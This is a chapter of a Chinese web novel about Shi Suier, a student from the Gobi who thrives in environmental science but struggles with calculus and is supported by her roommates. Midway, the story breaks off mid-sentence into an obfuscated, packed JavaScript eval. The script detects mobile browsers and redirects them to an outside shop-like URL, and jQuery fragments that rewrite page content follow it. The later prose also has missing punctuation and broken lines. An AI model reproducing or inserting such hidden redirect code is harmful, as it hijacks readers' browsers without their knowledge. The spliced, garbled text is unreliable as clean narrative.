清晨的薄雾还未完全散去，京科大学的校园里已经泛起了淡淡的书香气。


    拾穗儿是被窗外的鸟鸣轻轻唤醒的，睁开眼时，宿舍里还安安静静，三位室友都还在熟睡。


    她轻手轻脚地爬下床，没有开灯，只借着窗外透进来的微弱天光，慢慢整理着自己的书桌。


    桌面上，昨晚没弄懂的函数图像还摊在纸上，旁边整整齐齐叠着高中数学课本、高数笔记、还有环境科学导论的教材。


    一边是让她满心欢喜、一眼就能找到归属感的专业书，一边是让她辗转难眠、处处碰壁的高数课本，泾渭分明，像极了她此刻的心境。


    她轻轻叹了口气，指尖先抚过《环境科学导论》的封面，心底那点不安，瞬间被抚平了大半。


    她是真的热爱这个专业。


    热爱荒漠治理，热爱生态修复，热爱一切与土地、与自然、与故乡有关的知识。


    上一堂导论课上，张教授讲的每一句话，她都听得心潮澎湃，笔记记得密密麻麻，连课后的思考题都能脱口而出。


    可只要视线一挪到高等数学上，那份从容与自信，就会瞬间消失得无影无踪。


    差异，像一道无形却锋利的鸿沟，横在她面前。


    拾穗儿拿起水杯，轻轻走到阳台，推开一点窗户。


    微凉的晨风吹在脸上，让她混沌的脑子清醒了几分。


    她望着远处朦胧的教学楼，心底的思绪，翻涌得比风还要乱。


    她和身边的同学，差的究竟是什么？


    是从小舒适的学习环境？是系统完整的基础教育？是身边随时可以请教的老师和同学？还是……与生俱来的、不必为生计发愁的从容？


    这些，她全都没有。


    她的童年，是戈壁的风沙，是牧羊的脚步，是昏暗的油灯，是一本翻到散架的旧书。


    她能考到京科大学，靠的是比别人多十倍、百倍的韧劲，可这份韧劲，在面对十几年的教育断层时，显得如此单薄无力。


    “穗儿，你怎么起这么早？”


    林晓的声音从身后传来，打断了她的思绪。


    拾穗儿连忙转过身，勉强挤出一个浅浅的笑容，摇了摇头：“睡不着，就起来待会儿。


    林晓揉着眼睛走过来，一眼就看穿了她眼底的心事，却没有点破，只是轻轻拍了拍她的肩膀：“别想太多，今天我们还有环境科学的实验小课呢，你肯定喜欢。高数慢慢来，有我们。


    说话间，杨桐桐和陈静也陆续醒了。宿舍里很快热闹起来，刷牙声、收拾书本声、轻声的交谈声，交织成温暖的日常。


    杨桐桐一边扎头发，一边叽叽喳喳地说着今天的课程安排，努力把气氛调动得轻松欢快。


    “上午第一节还是环境科学导论，第二节高数，下午普通化学，晚上我们继续补数学！


    杨桐桐晃着课表，语气轻快，“穗儿，上午先在导论课上充充电，找回自信！


    拾穗儿点点头，把心底的慌乱悄悄压下去，努力让自己看起来平静一些。


    四人收拾好书包，一起走向食堂。清晨的食堂里热气腾腾，豆浆、包子、粥品的香气扑面而来，温暖又治愈。


    林晓顺手给她拿了一个热包子，陈静帮她端好豆浆，杨桐桐拉着她找位置坐下，一连串自然又贴心的动作，让拾穗儿的心底，又暖了一分。


    可这份温暖，并没有完全驱散她心底的阴影。


    第一节环境科学导论课，拾穗儿果然很快就找回了状态。


    张教授继续讲生态脆弱区保护，当PPT上出现西北戈壁的航拍图，看到那片熟悉的黄沙、干裂的土地、稀疏的植被时，拾穗儿的眼睛瞬间就红了。那是她长大的地方，是她刻在骨血里的牵挂。


    张教授讲到戈壁固沙技术、植被重建方案、水源涵养方法时，拾穗儿听得格外专注，笔尖在笔记本上飞速滑动，思路清晰、反应灵敏，连张教授都特意多看了她几眼，甚至还点了她的名字提问。


    “这位同学，你从小生活的地方，对风沙治理，有什么直观感受吗？


    拾穗儿站起身，声音微微发颤，却条理清晰：“风沙大，土地薄，种什么都很难活，水很珍贵，大家


    都盼着能有绿色……”


    她的话质朴却直击人心教室里安静了片刻随即响起了轻轻的掌声。


    张教授赞许地点点头：“很好环境科学最需要的就是你这份来自土地的感知。”


    那一刻拾穗儿是耀眼的。


    她眼里有光脸上有笃定身上有别人没有的、从风沙里淬炼出来的力量。


    可这份光芒只持续了短短五十分钟。


    当下一节课的铃声响起陈敬渊教授走进高数教室的那一刻拾穗儿身上所有的自信像被戳破的气球瞬间瘪了下去。


    黑板上依旧是飞快的板书依旧是轻描淡写的“显然”“易证”依旧是周围同学流畅从容的笔尖声。


    拾穗儿坐在座位上拼命集中注意力可那些导数公式、求导法则在她眼里依旧是一堆杂乱无章的符号。


    她努力去听努力去记可脑子像生了锈一样转不动、跟不上、听不懂。


    身边的林晓偶尔低头圈画陈静安静标注杨桐桐虽然也皱着眉却至少能跟上一半的思路。


    只有她像一个局外人被困在自己的空白世界里寸步难行。


    差异在这一刻被无限放大。


    同样的课堂同样的教授同样的知识别人轻松吸收


    别人的基础是高楼大厦她的基础是戈壁荒滩。


    拾穗儿的笔尖慢慢停了下来。


    笔记本上又是大片空白心一点点往下沉沉得发慌沉得发酸。


    下课铃声响起陈教授收拾教案离开教室里的同学三三两两结伴离开讨论着刚才的题目语气轻松随意。


    “高数其实也没那么难嘛。”


    “今天的求导公式我都记住了。”


    “晚上一起刷题吧。”


    一句句轻飘飘的话像一根根细针扎在拾穗儿的心上。


    她猛地低下头死死咬住下唇不让眼泪掉下来。肩膀控制不住地轻轻颤抖心底的委屈、自卑、无力


    ，再次汹涌而出。


    为什么她可以在环境科学的课


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227503|197173||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    堂上被教授表扬，却在高数课堂上连抬头的勇气都没有？为什么同样是努力，别人轻而易举，她却难如登天？


    林晓、杨桐桐、陈静立刻围了过来，谁都没有说话，只是默默陪着她，把她轻轻护在中间，挡住周围投来的目光。


    这里是大学，是人才济济的京科大学。


    优秀的人比比皆是，而她，是那个最不起眼、基础最差、连一门基础课都学不会的人。


    “我是不是……真的不适合读大学？


    拾穗儿的声音破碎而微弱，带着彻底的自我怀疑，“我是不是就不该来这里？


    她不怕苦，不怕累，可她怕这种无论怎么追，都追不上的绝望。


    怕这种清清楚楚看到差距，却无力改变的挫败。


    林晓紧紧抱住她，眼眶也有些发红：“不许这么说，你只是需要时间，只是需要补基础，不是你不行。


    “环境科学那么难的概念你都能听懂，高数只是暂时卡住了，你不能因为一门课，就否定全部的自己。陈静的声音温柔却坚定。


    杨桐桐咬着唇，认真地说：“穗儿，差异是可以弥补的！你用一年补上别人十几年的基础，你就是最厉害的！我们绝不放你一个人。


    温暖的怀抱，真诚的话语，一点点托住了她快要崩塌的心。


    拾穗儿埋在林晓的怀里，眼泪无声地滚落，浸湿了衣襟。她不是软弱，不是矫情，而是这份从天而降的差距，真的压得她快要喘不过气。


    她从风沙里走来，以为自己足够坚强，可在知识的鸿沟面前，她才发现，自己依旧是那个需要被呵护、需要被鼓励、需要被稳稳托住的小姑娘。


    不知过了多久，她慢慢擦干眼泪，抬起头，看向窗外渐渐明亮的阳光。


    环境科学是她的光，高数是她的坎。


    光很暖，坎很难。


    差异很大，路很远。


    可她的身后，有三个不离不弃的室友，有热爱的专业，有回不去却时刻牵挂的故乡。


    她不能就这么倒下。


    拾穗儿深吸一口气，缓缓握紧了手中的笔。


    笔尖落在空白的笔记本上，用力，却坚定。


    差异再大，又如何？


    她可以走得慢，但绝不走回头路。


    她可以基础差，但绝不认输。


    高数难，那就死磕。


    基础薄，那就死补。


    差距大，那就用十倍、百倍的努力去填平。


    她是戈壁的孩子，风沙都没打败她，区区高数，区区差异，休想击垮她。


    阳光穿过窗户，落在她微微泛红的眼角，也落在那本空白的高数笔记上。


    拾穗儿抬起头，眼神里虽然还有疲惫，还有委屈，却多了一丝绝不低头的倔强。


    差异存在，她承认。


    困难很大，她面对。


    但从今天起，她不再逃避。


    她要一步一步，把差距踩在脚下，把高数啃碎，把梦想牢牢握在手里。


    因为她的方向，从来不是停在原地，


    而是远方那片，终将被她染绿的戈壁。